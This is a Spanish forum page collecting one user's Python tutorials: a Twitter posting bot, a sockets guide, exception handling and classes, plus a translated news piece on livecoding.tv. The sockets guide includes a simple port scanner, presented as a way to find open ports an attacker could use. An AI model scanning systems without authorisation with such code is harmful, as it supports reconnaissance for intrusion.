Mostrar Mensajes

Esta sección te permite ver todos los posts escritos por este usuario. Ten en cuenta que sólo puedes ver los posts escritos en zonas a las que tienes acceso en este momento.

Temas - Sajuuk

Páginas: [1]
1
Citar
Livecoding.tv es una plataforma de livestreams donde la gente crea código, en vivo.
Conectamos a las personas con el lenguaje de programación que ellos aman.




Lanzada ayer, 29 de Junio, livecoding.tv es una nueva plataforma donde un programador puede hacer streamings en vivo donde muestre su trabajo, mientras recibe los feedbacks o preguntas de viewers.

Desde su beta lanzada en Febrero, ha tenido más de 40 mil registros en 142 paises. Los usuarios han hecho streamings en una variedad de lenguajes, incluyendo Portugués, Ruso y Alemán, como también en lenguajes de programación, incluyendo C#, Python, y PHP.

Similar a Twitch.tv, puedes seguir a usuarios y ser notificado cuando estos estén haciendo streaming.

Incluso para programadores profesionales, Livecoding puede ser un buen lugar para mostrar trabajos frescos y en fase de beta, o recibir feedback de alguna aplicación en la que estén trabajando. Por ejemplo, el bien conocido programador y físico Stephen Wolfram usó esta plataforma para mostrar su nuevo lenguaje de programación la semana pasada, que fué visto por más de 4 mil personas.




Para los programadores novatos, existen muchos tutoriales, pero hechos por expertos y mostrando el progreso en tiempo real, lo cual es más educacional.

"Esa interacción es una clave que hace diferente los streamings en vivo a los tutoriales de Youtube", dice el Co-Fundador de Livecoding, Jamie Green.

"Esos tutoriales suelen estár muy editados, y toman la ruta más directa para resolver un problema, pero en la vida real eso no es la forma en que los ingenieros resuelven problemas.", dice.

Los novatos pueden publicar streamings donde pregunten por tips y comentarios en lo que sea que estén haciendo.

"Algunas personas dicen que esto los ayuda a concentrarse y a pensar mejor, sabiendo que su audiencia no irá a revisar Facebook cada 5 minutos y distraerse.", dice Green.

Y Livescoding no solo se limita a construir un juego o app. La plataforma ha sido usada por un programador para construir su Impresora 3D. Me dice Green, que también fue usada para programar algo que reproduciera música en vivo. Green además dijo, que eventualmente Livecoding se irá expandiendo a nuevas areas.

"La educación en vivo es la clave para el futuro". Green dijo: "Incluso otra area, como el Diseño Gráfico, puede encagar en el modelo",

Ahora, Livecoding es gratis de usar, Green dijo que nunca habría publicidad, pero puede cobrar una cuota de suscripción en un futuro para un contenido más estructurado.


Fuente: techcrunch.com

Espero haber traducido correctamente.

2
Python / Un bot que publica por nosotros en Twitter
« en: Mayo 31, 2015, 04:12:08 pm »
Muy buenas a todos!
Estuve leyendo un tutorial sobre cómo nosotros podemos publicar en Twitter desde Python, usando una librería, y un archivo de texto con lo que el programa publicará.

Pero antes, necesitamos crear una app en Twitter, ya que esta app nos permitirá tener las claves necesarias para poder autentificarnos en Twitter "legalmente", y poder usar su API para poder publicar algo.

Así que primero la crearemos:


Ingresamos a la página de desarrollo de apps en Twitter, y presionamos el boton para crear una nueva app:
https://apps.twitter.com/


Enseguida nos encontraremos con unos campos que serán necesarios para el nombre, detalles y otras cosas de la nueva app.
Los que están en asteriscos rojos son obligatorios


Aceptamos los términos de abajo, y damos clic en Crear aplicación



Listo, hemos creado nuestra "app".


Ahora, necesitamos unas claves, que nos permitirán autentificarnos con nuestra app. Sin ellas, es como querer abrir una casa sin tener una llave.... algo así. (?
Y también, tengan cuidado con esas claves, ya que un usuario puede crear otra aplicación, usar tus claves, y publicar desde tu cuenta (o manipularla, en el peor de los casos)

¿Ven la parte de arriba, "Keys and Access Tokens"?
Entramos ahi, y nos encontraremos con algunas cosillas:


A nosotros nos interesan estas 2 cosas: Consumer Key (API Key), y Consumer Secret (API Secret).
Cada app tiene la suya.

Ahora, necesitamos otras 2 cosillas: Los tokens, que también nos servirán para los permisos de escritura y demás en nuestra cuenta.
Aún no se han generado, pero para esto, presionamos el botón "Create my access token", que se localiza abajo de lo que está en la imagen de arriba.



Listo, ya tenemos nuestas keys y tokens que el programa usará para autentificarse en Twitter y poder usar la API.
Ahora, necesitamos una librería de python que se encargará de ello: Tweepy.
Si no la tienes, solo tienes que descargarla.
Para esto, podemos usar pip. Así que abrimos la consola, y escribimos lo siguiente:
Citar
pip install tweepy
Ahora podemos usar la librería!


La importamos, y además, importamos otras 2 librerías:
Citar
import tweepy, time, sys

Importamos time para poder permitir esperar un tiempo entre cada publicación (Y no estar publicando como locos, sino esperando unos momentos...)
Y usamos la librería sys para poder importar el archivo de texto que contendrá los tweets.

Ahora, en una variable guardamos el nombre del archivo pasado como argumento en la consola:
Código: (python) [Seleccionar]
argfile = str(sys.argv[1])
Ahora, necesitamos guardar en unas variables las claves y los tokens que usaremos.
Nos regresamos a la página, y copiamos la Consumer Key,  Consumer Secret, Access Token, y la Access Token Secret.
Código: (python) [Seleccionar]
CONSUMER_KEY = 'jajajajxDSoyUnaClaveGGG'
CONSUMER_SECRET = 'djnadoamcaeocmoaincoadoajodjaoe666'
ACCESS_KEY = 'Underc0deEsMiCasa-CasiCasiPeroNoPorquexD'
ACCESS_SECRET = 'SaludosALaMuerteBlancaxDZoyJenial'

Ahora, necesitamos crear un enlace a Twitter para poder autentificarnos:
Código: (python) [Seleccionar]
auth = tweepy.OAuthHandler(CONSUMER_KEY, CONSUMER_SECRET)
Después, le enviamos a Twitter los tokens de nuestra App, permitiendonos entrar:
Código: (python) [Seleccionar]
auth.set_access_token(ACCESS_KEY, ACCESS_SECRET)
Y ahora, podemos usar la API de Twitter, para poder publicar tweets:
Código: (python) [Seleccionar]
api = tweepy.API(auth)

Muy bien, ahora, leeremos el archivo que contiene nuestros tweets a publicar:
Código: (python) [Seleccionar]
filename = open(argfile,'r')
f = filename.readlines()
filename.close()

Ahora, 1 tweet es una linea completa que se localice en nuestro archivo. Si aun no lo has creado, hazlo:
Código: (text) [Seleccionar]
Hi! Im a robot crafted in Python
#Underc0de is ma' house!
Beep boop buuup

Como podemos ver, "Hi! Im a robot..." es nuestra primera linea, entonces, este será el primer tweet.

Ahora, por cada linea que se encuentre en el archivo de texto, "tweetearemos":
Código: (python) [Seleccionar]
for line in f:
    print("[+] Tweeting something...")
    api.update_status(status = line)
    print("[+] Tweet: ", line)
    time.sleep(200)

La función update_status nos permitirá publicar nuestro tweet.
Al final, el programa espera un tiempo antes de publicar la siguiente linea.

Y como podemos ver...



Código completo del programa:
Código: (python) [Seleccionar]
# -*- coding: utf-8 -*-
 
import tweepy, time, sys

argfile = str(sys.argv[1])

CONSUMER_KEY = 'jajajajxDSoyUnaClaveGGG'
CONSUMER_SECRET = 'djnadoamcaeocmoaincoadoajodjaoe666'
ACCESS_KEY = 'Underc0deEsMiCasa-CasiCasiPeroNoPorquexD'
ACCESS_SECRET = 'SaludosALaMuerteBlancaxDZoyJenial'

auth = tweepy.OAuthHandler(CONSUMER_KEY, CONSUMER_SECRET)
auth.set_access_token(ACCESS_KEY, ACCESS_SECRET)
api = tweepy.API(auth)
 
filename = open(argfile,'r')
f = filename.readlines()
filename.close()
 
for line in f:
    print("[+] Tweeting something...")
    api.update_status(status = line)
    print("[+] Tweet: ", line)
    time.sleep(20)


El programa no captura ningún error, así que si tienen errores, pueden googlearlos ustedes mismos.
Los más comunes son que por ejemplo, se equivoquen al copiar las keys o tokens, o también, que tweeteen algo retweeteado / posteado ya (Repetido, pues)
Te ha hablado Barlan y te deseo... buenas noches.

3
Python / [Mini-Guia] Sockets en Python (3.4)
« en: Mayo 22, 2015, 05:28:40 am »



La wikipedia nos dice:
Citar
Socket designa un concepto abstracto por el cual dos programas (posiblemente situados en computadoras distintas) pueden intercambiar cualquier flujo de datos, generalmente de manera fiable y ordenada.

Yo lo veo más como un vehiculo, por el que se transportan datos desde el punto A (cliente) al punto B (servidor), e incluso también del punto B (servidor) al punto A (cliente). Nuestro vehículo está hecho de 2 piezas fundamentales: Dirección IP, y Puerto. Por ultimo, necesitan de aceite (flujo de datos), gasolina (conexión), y tener licencia de conducir (conexión fiable [ahorita lo explico]).


Un socket está compuesto por 2 cosas:
  • Una dirección IP (si utilizamos la familia de protocolos TCP/IP [(Transmission Control Protocol), Protocolo de Control de Transmisión])
  • Un puerto (éste identifica un programa entre todos los que se conectan a Internet o comparten recursos)

Yo me dedicaré a explicar el protocolo TCP/IP, ya que es el más utilizado (y el único que he manejado xD).


Pues bien, el protocolo TCP/IP nos garantiza 3 cosas:
  • Una conexión segura
  • Envío completo de octetos (la información, pues)
  • Garantiza que los octetos llegarán al destino en el orden que fueron enviados

Lo cual no ocurre en la alternativa de protocolo: UDP (User Datagram Protocol).
UDP solo nos garantiza que el mensaje llegue a su destino, sin importar si fué el primero en ser enviado o no, dandole más importancia al mensaje. Parece algo despistado, pero no lo es. UDP es usado en el streaming de audio (ya que la información es lo más importante).


Representación gráfica de un intento de conexión con TCP/IP:


No me detendré a explicar a fondo los segmentos SYN, y ACK, pero los "tantearé"
  • El cliente envía una solicitud al servidor (esto es SYN, enviar un número de secuencia con el que se espera trabajar. Se inicia con un 1, significando que se está esperando respuesta del otro extremo) pidiendole permiso para establecer una conexión
  • El servidor leerá la solicitud, y dependiendo de su funcionamiento y de la solicitud, aceptará o la rechazará. Envía la desición al cliente.
  • El cliente interpretará la respuesta del servidor, y si obtuvo el permiso, envía una confirmación (esto es ACK, confirmar la llegada del mensaje), y comienza el flujo de datos hacia el servidor (ahora SYN vale 0, ya que se completó el proceso)

Esto tiene un nombre: three-way handshake.
¿Por que? Porque son 3 pasos para poder establecer conexión cliente-servidor.



Creando un socket en Python
[SERVER]


En Python, contamos con una librería que contiene las clases y funciones para manejar un socket. La librería se llama socket:

Comenzamos importandola:
Código: (python) [Seleccionar]
import socket

Bien, ahora, necesitamos crear un socket.
Para esto, necesitamos una variable que sirva como un socket:
Código: (python) [Seleccionar]
mi_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

Bien, dentro de la librería, hay una clase llamada socket. En ella, nosotros seleccionaremos los parametros para crear un socket bajo el protocolo TCP/IP.
"socket.AF_INET, socket.SOCK_STREAM" son los parametros que nos crearán un objeto socket TCP/IP.

Los tipos de sockets en Python son los siguientes:
  • SOCK_STREAM: Este protocolo nos da una comunicación fiable de dos direcciones en un flujo de datos(TCP)
  • SOCK_DGRAM: Este protocolo nos da una conexión no fiable. (UDP)
  • SOCK_RAW: este protocolo es para acceder a los campos e interfaces internos de la red.
  • SOCK_RDM: Este protocolo garantiza la llegada de paquetes pero no garantiza el orden de llegada
  • SOCK_SEQPACKET: datagramas fiables y secundarios, de longitud fija, basado en la conexión.
  • SOCK_PACKET: Coloca el socket en modo promiscuo en la que recibe todos los paquetes de la red.


Ahora, necesitamos una IP, y un puerto.
Para esto, contamos con el método bind. Este método nos permite designarle una IP y un puerto a nuestro socket, ya que por obvias razones, no podemos crear un socket bajo TCP sin una IP y un puerto. Es como andar por ahí sin tener un nombre y una cuenta en underc0de.
Código: (python) [Seleccionar]
mi_socket.bind(("127.0.0.1", 9999))

bind toma una tupla con los datos a designar.
A nuestro objeto socket le hemos designado la IP 127.0.0.1 (Esta IP es especial, ya que es usada como una alternativa al localhost, es decir, usaremos una IP local, en lugar de una pública [la que usa nuestra computadora para Internet (Facebook, Google, underc0de, etc...]).
También, le hemos designado un puerto: 9999.

Es importante saber que es recomendable usar un puerto bastante alejado de los puertos 21, 22, 80 ... etc, ya que estos son puertos especiales que nuestro Sistema Operativo usa para comunicarse por Internet y por red local. Así que trata de seleccionar un puerto más alla de... 5000?


Bien, ahora, especificaremos cuantas "orejas" tendrá nuestro socket:
Código: (python) [Seleccionar]
mi_socket.listen(5)
Digo orejas porque, cada oreja estará escuchando a través del puerto que seleccionamos, esperando a que una conexión de un cliente llegue.
Al nosotros colocar un 5 entre los paréntesis, le estamos diciendo a nuestro socket que estamos esperando 5 posibles clientes.

Si llegamos a tener 5 clientes conectados, automáticamente no permitirá otro más.


Entonces, de repente llega una conexión, y nuestro servidor tiene que tomarla.
¿Qué metodo utilizaremos?
Código: (python) [Seleccionar]
sc, addr = mi_socket.accept()

  • sc: El objeto socket cliente. Este es nuetro cliente, representado con una variable llamada sc (puedes ponerle otro nombre, pero recomiendo dejarselo así)
  • addr: Su IP

El método accept() espera una conexión. Cuando llega, este acepta la conexión, y procedemos a la parte que todos queremos.


Necesitamos recibir los datos que nuestro cliente nos está enviando.
Para esto, socket cuenta con un método llamado recv():
Código: (python) [Seleccionar]
recibido = sc.recv(1024)

La variable recibido contendrá lo que el cliente envie hacia nosotros.

Bien, lo que está entre paréntesis es el limite de bytes que se esperan como respuesta. Si se excede el límite, no se recibe ni se acepta el resto del mensaje, dejandolo "mocho" (o cortado).


Ahora, ya tenemos lo que el cliente nos está diciendo, pero, ¿cómo le respondo?
Entonces, el método send() llega para salvarnos:
Código: (python) [Seleccionar]
nuestra_respuesta = "Hola cliente, yo soy el servidor. Unete a underc0de!"
sc.send(nuestra_respuesta.encode('utf-8'))

El método send() envía una respuesta (texto u otros datos) al cliente.

Usamos la variable sc (cliente) para enviarle un mensaje.
Luego, antes de enviarle el mensaje, necesitamos codificarlo bajo algún estandar.
Generalmente usamos "utf-8" (Español, con esto, podemos enviar caracteres especiales como la ñ).

Entonces, tomamos nuestro mensaje, y seguido de un punto ( . ) escribimos encode, seguido de parentesis y el tipo de codificación a usar.


Entonces, cuando terminemos nuestro trabajo, necesitaremos cerrar nuestro objeto socket cliente, y también cerrar nuestro socket servidor;
Código: (python) [Seleccionar]
sc.close()
mi_socket.close()

El método close() detiene y elimina los socket creados.

Código completo:
Código: (python) [Seleccionar]
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(("127.0.0.1", 9999))
s.listen(5)

print ("Servidor de Chat\n")

while True:
print ("Esperando conexión...")
sc, addr = s.accept()
print ("Cliente conectado desde: ", addr)

while True:
recibido = sc.recv(1024)
if recibido == "quit":
break
print ("Recibido: ", recibido)

nuestra_respuesta = "Hola cliente, yo soy el servidor. Unete a underc0de!"
sc.send(nuestra_respuesta.encode('utf-8'))

print ("Adios")
sc.close()
s.close()

OJO: Usamos "while True" para mantener el socket abierto, incluso si ya enviamos una respuesta. Esto evitará que se cierre, y no podamos seguir enviando/recibiendo información.

Y LISTO. Creamos un socket bajo el protocolo TCP/IP (el más usado en la Internet de este planeta y en Andromeda).



Creando un socket en Python
[CLIENTE]


Crear un socket cliente es un poco más fácil, ya que nos ahorramos unas cuantas lineas de código.

Para esto, importamos la libreria socket, y creamos el socket cliente:
Código: (python) [Seleccionar]
socket_cliente = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

Bien, ahora, no necesitamos ni bind, ni listen, ni nada.
Tan solo ocupamos un método: connect()
Código: (python) [Seleccionar]
socket_cliente.connect(("127.0.0.1", 9999))

El método connect() toma la tupla con los datos: IP a conectarse, y el puerto donde está escuchando el servidor.


Ahora, ya establecimos una conexión con el servidor, entonces ya podemos enviar mensajes.
Volvemos a usar el método send()
Código: (python) [Seleccionar]
while True:
mensaje = "Hola, soy el cliente, y ya me uní a underc0de!"

socket_cliente.send(mensaje.encode("utf-8"))

Usamos nuestro objeto cliente para enviarlo.
Volvemos a codificar el mensaje en utf-8, para poder incluir caracteres que en el idimoa inglés no hay.


Entonces, nosotros querremos recibir las respuestas del servidor. Para esto, volvemos a recv()
Código: (python) [Seleccionar]
recibido = socket_cliente.recv(1024)
print("Recibido: ", recibido)

El socket cliente estará esperando un máximo de 1024 bytes como respuesta.
Imprimimos lo que el servidor nos envió.


Y por ultimo, para terminar el programa cerramos el socket cliente:
Código: (python) [Seleccionar]
socket_cliente.close()

Código completo:
Código: (python) [Seleccionar]
import socket

socket_cliente = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
socket_cliente.connect(("localhost", 5000))

while True:
mensaje = str(input(">> "))
socket_cliente.send(mensaje.encode('utf-8'))

recibido = socket_cliente.recv(1024)
print("Recibido: ", recibido)

print ("Adios")
socket_cliente.close()



Creando un pequeño Port Scanner


Un Port Scanner (o escaner de puertos) se conectará a una ip, y a un rango determinado de puertos, con la finalidad de descubrir puertos abiertos por donde un tercero puede atacar un sistema.

Código: (python) [Seleccionar]
# Coded by Barlan. 2015
import socket
import sys

if len(sys.argv) != 4:
print("[!] Use: scan.py [IP_to_scan] [Initial_Port] [Final_Port]")
sys.exit(1)

def connect(IP, port):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
socket.setdefaulttimeout(0.6)
try:
s.connect((IP, port))
return(1)
except:
return(2)

IP = str(sys.argv[1])
ip = int(sys.argv[2])
fp = int(sys.argv[3])
print("[*] Connecting to %s, scanning from %s to %s ..." % (IP, ip, fp))

for port in range(ip, fp+1):
e = connect(IP, port)
if e == 2:
print("[-] %s closed." % port)
else:
print("[+] %s open." % port)

print("Finished!")

Bien, importamos la librería sys para usar argumentos.


Entonces nos vamos a la función connect.
Esta función espera una IP y un puerto.
Entonces en ella creamos un socket cliente.

(El método setdefaulttimeout() sirve para declarar cuantos segundos podemos esperar a que el servidor nos conteste. Esto es útil cuando no queremos esperar mucho por una conexión. SI te pones a pensar, esto es lo que usan en los videojuegos para evitar tener a un jugador ocupando un espacio)

Llegamos al bloque try/except.
Enviamos una solicitud de conexión a la IP.
SI la conexión fué exitosa (osea, que el puerto está abierto), retorna un valor 1.

En caso contrario (que el puerto esté cerrado) retorna un valor 2.


Entonces, salimos de la función y nos vamos a la linea 23:
Código: (python) [Seleccionar]
for port in range(ip, fp+1):
e = connect(IP, port)
if e == 2:
print("[-] %s closed." % port)
else:
print("[+] %s open." % port)

Por cada numero dentro del rango del puerto inicial hasta el final, ejecutar la función connect (pasandole una IP, y un puerto).
Si la función retorna un valor 1, entonces nos imprime el puerto que está abierto.

Pero si nos retorna un valor 2, entonces nos imprime el puerto que está cerrado.



Si creen que pueda añadirse más contenido favor de reportarmelo.  :)

Te ha hablado Barlan y te deseo... buenas noches.

4
Python / Manejo de Excepciones en Python
« en: Mayo 21, 2015, 02:55:35 pm »

Manejo de Excepciones en Python


Citar
Las excepciones son errores detectados por Python durante la ejecución del programa. Cuando el intérprete se encuentra con una situación excepcional, como el intentar dividir un número entre 0 o el intentar acceder a un archivo que no existe, este genera o lanza una excepción, informando al usuario de que existe algún problema.

En Python, contamos con 3 palabras reservadas (y una palabra opcional) para el manejo de excepciones:
  • try
  • except
  • finally
  • else (solo en algunos casos)

Además, contamos con tipos de errores definidos por Python.
Te describiré los principales (o los más comunes):

  • ImportError: Ocurre cuando Python no encuentra el modulo que intentamos importar.
  • IndexError: Cuando nosotros buscamos algo en una tupla o diccionario más alla de lo que realmente posee (ejemplo: Leer el valor #5 de una tupla que contiene solo 3 cosas).
  • KeyError: Cuando no se encuentra una clave en un Diccionario.
  • KeyboardInterrupt: Ocurre cuando nosotros presionamos Ctrl + C. Generalmente presionamos esas teclas cuando caemos en un bucle infinito y queremos pararlo sin cerrar la consola.
  • NameError: Ocurre cuando usamos una variable que no existe.
  • SyntaxError: Se muestra cuando escribimos mál alguna linea de código. Ejemplo: Usar print sin los paréntesis (Python 3.4)
  • TypeError: Ocurre cuando usamos un método en un tipo de variable que no lo posee. Ejemplo: Buscar una clave en una tupla (Usamos un método de un diccionario en una tupla).
  • ValueError: Valor del argumento no apropiado (cuando le designamos un valor a un tipo de variable que no es para eso).

Si buscas más tipos de errores, consulta la documentación oficial de Python 3.4: https://docs.python.org/3.4/library/exceptions.html


Bloque Try-Except


En try, nosotros colocaremos el código que puede llegar a un error.
En except, "atraparemos" el error lanzado por el interprete para evitar que el programa se detenga.

Código: (python) [Seleccionar]
try:
    print(10 / 0)
except:
    print("No se puede dividir entre cero!")

Lo anterior trataría de dividir 10 entre 0 (lo cual es imposible).
Si nosotros no escribimos el bloque except... ocurre lo siguiente:

Citar
Traceback (most recent call last):
  File "C:\Users\Barlan\Desktop\ejemplos.py", line 1, in <module>
    print(10 / 0)
ZeroDivisionError: division by zero

Nos lanza un error tipo ZeroDivisionError (Error de división entre cero), lo cual nos indica que no se puede dividir un numero entre 0.

Pero si nosotros escribimos el bloque except...



Como podemos ver, el programa atrapa el error, y evita que se interrumpa a la fuerza el programa a causa de ello.



Podemos también esperar un tipo de error (de los mencionados al principio):

Código: (python) [Seleccionar]
try:
    x = open("Hola.txt", "r")
    print(x)
except (IOError):
    print("No se encontró el archivo.")

print("Ja! Seguí ejecutandome ;)")

Si el archivo "Hola.txt" no existe en el directorio donde se encuentra el archivo .py, nos lanzará un error tipo IOError.
Para evitar que se cierre el programa, atrapamos ese error con except, e imprimimos que no se encontró el archivo.

Y como el programa no se cerró, se imprimirá "Ja! Segui ejecutandome ;) ")



También podemos atrapar varios tipos de errores:

Código: (python) [Seleccionar]
try:
    x = open("Hola.txt", "r")
    y = x.readlines()
    print(y[5])
except (IOError, IndexError):  # Posiblemente ocurra alguno de estos 2 errores)
    print("Ocurrio un problema.")

print("Ja! Seguí ejecutandome ;)")



Uso de Else en Excepciones


Usamos else cuando en el bloque try, no se produjo ningún error.
Además, usar else evita que añadamos más lineas de código al try, evitando así más posibles errores.

Código: (python) [Seleccionar]
import sys

for arg in sys.argv[1:]:
    try:
        f = open(arg, 'r')
    except IOError:
        print('no pude abrir', arg)
    else:
        print(arg, 'tiene', len(f.readlines()), 'lineas')
        f.close()

El programa anterior importa un modulo: sys.
Este modulo tiene un método de leer argumentos al momento de ejecutar nuestro programa (argv)
Después del nombre del programa, nosotros escribimos el nombre del archivo de texto a leer.

El programa tratará de calcular cuantas lineas tiene el archivo.
Si el programa no encuentra el archivo, nos lanza un error:

Citar
no pude abrir [nombre del archivo de texto]

Pero en caso de que si pudimos leer el contenido y calcular las lineas, else se encargará de notificarlo:


Citar
Hola.txt tiene 5 lineas



El bloque finally


El bloque de instrucciones finally se ejecutará siempre, sin importar si ocurrió algún error o no.

Código: (python) [Seleccionar]
try:
    print(x / 10)
except (NameError):
    print("Error. No existe la variable 'x'")
else:
    print("Soy el else.")
finally:
    print("Yo me ejecuto porque se me pega la gana! Thug Life 8)")

Generalmente se usa para labores de limpieza (como limpiar la pantalla, o pasar a otra función... etc).



raise


raise nos permite crear nuestras propias excepciones (usando como base las pre-establecidas por Python).
Ejemplo:

Código: (python) [Seleccionar]
>>> raise NameError('Hola')
Traceback (most recent call last):
  File "<stdin>", line 1, in ?
NameError: Hola

Aquí forzamos a que ocurriera una Excepción tipo NameError, seguido de un mensaje personalizado.

Otro ejemplo:

Código: (python) [Seleccionar]
try:
    raise NameError("Hola")
except NameError:
    print("Voló una excepción!")
    raise

Vemos que raise está solo. Esto significa que hubo una excepción, pero que no quisimos manejarla. Por lo que print() hará el resto.



Excepciones desde clases


Citar
Los programas pueden nombrar sus propias excepciones creando una nueva clase excepción. Las excepciones, típicamente, deberán derivar de la clase Exception, directa o indirectamente. Por ejemplo:

Código: (python) [Seleccionar]
class MiError(Exception):
    def __init__(self, valor):
        self.valor = valor

    def __str__(self):
        return repr(self.valor)

try:
    raise MiError(2*2)
except Exception as e:
    print("Ocurrió una excepción. Valor:", e)

raise MiError("Oops! Un error!")

Primero, llegamos al try/except:
Tratamos de calcular 2*2.
Entonces generamos una excepción.

Citar
Ocurrió una excepción. Valor: 4

Luego, forzamos a la clase a que nos genera una excepción con el mensaje "Oops! Un error!"



Citar
Una cláusula finally siempre es ejecutada antes de salir de la declaración try, ya sea que una excepción haya ocurrido o no. Cuando ocurre una excepción en la cláusula try y no fue manejada por una cláusula except (o ocurrió en una cláusula except o else), es relanzada luego de que se ejecuta la cláusula finally.

Código: (python) [Seleccionar]
def dividir(x, y):
    try:
        result = x / y
    except ZeroDivisionError:
        print("¡División por cero!")
    else:
        print("El resultado es: ", result)
    finally:
        print("Instrucción finally.")

dividir(2,1)
dividir(2,0)
dividir("hi", "sudo")

Citar
El resultado es:  2.0
Instrucción finally.
¡División por cero!
Instrucción finally.

Traceback (most recent call last):
  File "ejemplos.py", line 13, in <module>
    dividir("hi", "sudo")
  File "ejemplos.py", line 3, in dividir
    result = x / y
TypeError: unsupported operand type(s) for /: 'str' and 'str'

Como podemos ver, no manejamos el error TypeError en el exception, por lo que el programa se interrumpe, y procede a imprimir el mensaje de error.



La "acción de limpieza"


Llegará un momento en el que el objeto creado ya no es requerido en más lineas de código. Por ejemplo, al leer un archivo y guardar su contenido en una variable, ya no necesitaremos tener el archivo abierto (esto puede provocar errores):

Código: (python) [Seleccionar]
for linea in open("miarchivo.txt"):
    print(linea, end="")

Citar
El problema con este código es que deja el archivo abierto por un periodo de tiempo indeterminado luego de que esta parte termine de ejecutarse. Esto no es un problema en scripts simples, pero puede ser un problema en aplicaciones más grandes. La declaración with permite que objetos como archivos sean usados de una forma que asegure que siempre se los libera rápido y en forma correcta:

Código: (python) [Seleccionar]
with open("miarchivo.txt") as f:
    for linea in f:
        print(linea, end="")

La instrucción with nos permite hacer algo solo durante algunas lineas de código. Cuando esa linea termine su trabajo, automáticamente el archivo de texto se cerrará, evitando posibles errores futuros.




Errores, sugerencias y críticas abajo en los comentarios.
Te ha hablado Barlan y te deseo... buenas noches.

5
Python / [Guia] Programación Orientada a Objetos
« en: Mayo 20, 2015, 03:16:01 pm »



El Paradigma de la Programación Orientada a Objetos es:
Ver cada cosa como un objeto, con sus funciones y atributos, y que todo objeto proviene de una "plantilla" mayor (un molde, una "clase").

Propone modelar todo en base a clases y objetos. Este paradigma consiste en el uso de los conceptos de herencia, cohesión, abstracción, polimorfismo, acomplamiento y encapsulamiento.




Lo primero: La clase

La clase es el molde de donde derivan otros objetos.

[Añadido]
Para el nombre de una clase, siempre se debe de comenzar con mayuscula. Esto tiene un nombre: Upper Camel Case (porque parece la espalda de un camello)
Ejemplo: Clase, Animal, Robot, etc...

Pero si el nombre de la clase es "complejo" (osea, si está compuesto por algunas palabras), entonces cada inicio de palabra comenzará en mayusculas:
Ejemplo: MiClase, AnimalBosque, EscanerPuertos, ClaseDeEjemplo, etc...


Citar
Por ejemplo si nos ponemos a pensar en gatos. ¿Cómo podemos reconocer que un gato es en si un gato y no un perro? Bueno, todo gato tiene ojos, nariz, boca, 4 patas, mucho pelo, una cola, orejas, dice miau, ronronea y tienen sus garras. Esto seria la plantilla del gato y con lo mencionado anteriormente también podemos imaginarnos uno. ¿Pero fuimos específicos en sus características? Cada uno de nosotros podemos pensar en un gato pero no sera el mismo. Cada uno hemos pensado en una instancia de un gato acorde a las características que hemos mencionado. Yo pude haber pensado en un gato gordo de pelaje rojo. Mientras que otro habrá pensado en un gato virtual de ojos grande de color naranja.

Usemos el ejemplo del gato.
Creamos una clase llamada gato:
Código: (python) [Seleccionar]
class Gato:
    def __init__(self):
        print("Ha nacido un gato.")

    def miau(self):
        print("Miau!")

g = Gato() # Imprimirá "Ha nacido un gato."
g.miau() # Imprimirá "Miau!"


__init__

Lo primero:
Vemos ahí una función llamada __init__().

En otros lenguajes de programación puede llamarse "constructor".
 __init__() es una función especial que siempre se ejecutará al ser instanciado un objeto. Además, sirve como constructora de variables (osea, aquí crearemos las variables que serán usadas en todas las funciones de la clase Gato).
Para esto, usamos una palabra especial: self
Código: (python) [Seleccionar]
class Gato:
    def __init__(self, energia, hambre):
        self.energia = energia
        self.hambre = hambre
        print("Un gato ha nacido!")

    def miau(self):
        print("Miau!")

Como podemos ver, __init__ recibe "3" variables: self, energía y hambre.
En funciones, gracias al atributo “self” es posible utilizar las variables declaradas en __init__ dentro de toda la clase.

Luego, tenemos 2 variables: energía y hambre. Estas variables serán enviadas a la clase a través del objeto instanciado.

Además, tenemos la función miau(). Y como sabemos, esta no se ejecutará hasta que nosotros la llamemos.
Ahora, para instanciar un objeto, hacemos lo siguiente:
Código: (python) [Seleccionar]
g = Gato(5,3) # Imprimirá "Ha nacido un gato."
g.miau() # Imprimirá "Miau!"

g es un objeto de la clase Gato.

Podemos ver que al instanciar el objeto, le pasamos 2 numeros a la clase Gato: 5 y 3.
Estos numeros serán las variables energia y hambre que serán usadas en toda la clase.

Ahora, g podrá usar las funciones que se encuentren en la clase. Para eso, usamos un punto, seguido del nombre de la función a llamar.

Entonces, añadimos más funciones a nuestra clase:
Código: (python) [Seleccionar]
class Gato:
    def __init__(self, energia, hambre):
        self.energia = energia
        self.hambre = hambre
        print("Un gato ha nacido!")

    def miau(self):
        print("Miauuu!")
 
    def tomar_leche(self, leche_en_litros):
        self.hambre += leche_en_litros
        print ("El gato toma su leche")
 
    def acariciar(self):
        print ("Prrrrr...")
 
    def jugar(self):
        if self.energia <= 0 or self.hambre <=1:
            print ("El gato no quiero jugar")
        else:
            self.energia -=1
            self.hambre -= 2
            print ("Al gato le encanta jugar")
 
    def dormir(self, horas):
        self.energia += horas
        print ("El gato tomo una siesta")

Instanciamos un objeto, y procedemos a ejecutar cada función:
Código: (python) [Seleccionar]
gato = Gato(7,5)
gato.miau()
gato.tomar_leche(2)
gato.acariciar()
gato.jugar()
gato.dormir(4)

Citar
Un gato ha nacido!
Miauuu!
El gato toma su leche
Prrrrr...
Al gato le encanta jugar
El gato tomo una siesta

Nótese que en la función jugar(), le restamos energía y hambre al gato, haciendo que en un determinado momento, el gato ya esté "cansado", y ya no quiera jugar.

Código: (python) [Seleccionar]
gato = Gato(7,5)
for i in range(3):
    gato.jugar()

Haciendo lo anterior,ejecutamos 3 veces la función jugar()
Y entonces...

Citar
Un gato ha nacido!
Al gato le encanta jugar
Al gato le encanta jugar
El gato no quiero jugar

Como vemos, al final, el gato "no quiere jugar", porque ya no tiene energías, o porque tiene hambre.

Para esto, solo hace falta ejecutar:
  • dormir() -->   Para recuperar energía.
  • tomar_leche() -->   Para tener menos hambre.



Herencia
(no, no hablo de dinero)


La Herencia es cuando una clase HEREDA de otra clase todo lo de ella (atributos, métodos...).
Se puede decir que, es una clase extendida, ya que ella poseerá sus funciones, y además, poseerá todo lo que contenga la clase a heredar.
Código: (python) [Seleccionar]
class Felino:
    def __init__(self):
        print("Ha nacido un felino!")

    def rugido(self):
        print("El felino dió un rugido.")

class Gato(Felino):
    def __init__(self, energia, hambre):
